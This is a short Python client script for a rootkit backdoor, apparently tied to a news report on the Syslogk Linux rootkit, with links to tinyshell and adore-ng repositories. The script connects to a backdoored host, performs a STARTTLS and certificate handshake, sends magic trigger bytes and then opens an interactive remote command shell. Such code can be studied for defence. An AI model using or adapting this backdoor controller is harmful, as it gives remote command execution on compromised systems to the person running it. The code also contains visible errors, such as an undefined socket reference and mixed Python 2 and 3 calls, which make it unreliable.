Source: https://www.bleepingcomputer.com/news/security/new-syslogk-linux-rootkit-uses-magic-packets-to-trigger-backdoor/

backdoor_client.py

import socket
import ssl
import time

HOST = "127.0.0.1"
PORT = 42678

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.setsockopt(sock.SOL_SOCKET, socket. SO_REUSEADDR, 1)

if __name__ == "__main__":
    client.connect((HOST, PORT))
    print(client.recv(200))
    
    client.send("\r\n")
    print(client.recv(200))
    
    time.sleep(1)
    
    client.send("starttls\r\n")
    print(client.recv(200))
    
    ssl_client = ssl.wrap_socket(client, certfile="./cert.pem")
    ssl_client.send(b"\x03")
    ssl_client.send(b"%")
    ssl_client.send(b"0002")
    ssl_client.send(b"\r\n")
    ssl_client.settimeout(1)
    ssl_client.recv()
    
    while True:
      command = raw_input("\nShell> ")
      command += "\r\n"
      command = command.encode()
      
      ssl_client.send(command)
      
      try:
        # Receviing stdin, stdout, stderr
        while True:
          print(ssl_client.recv())
      except ssl.SSLError:
        pass
    

https://github.com/threatexpress/tinyshell

https://github.com/yaoyumeng/adore-ng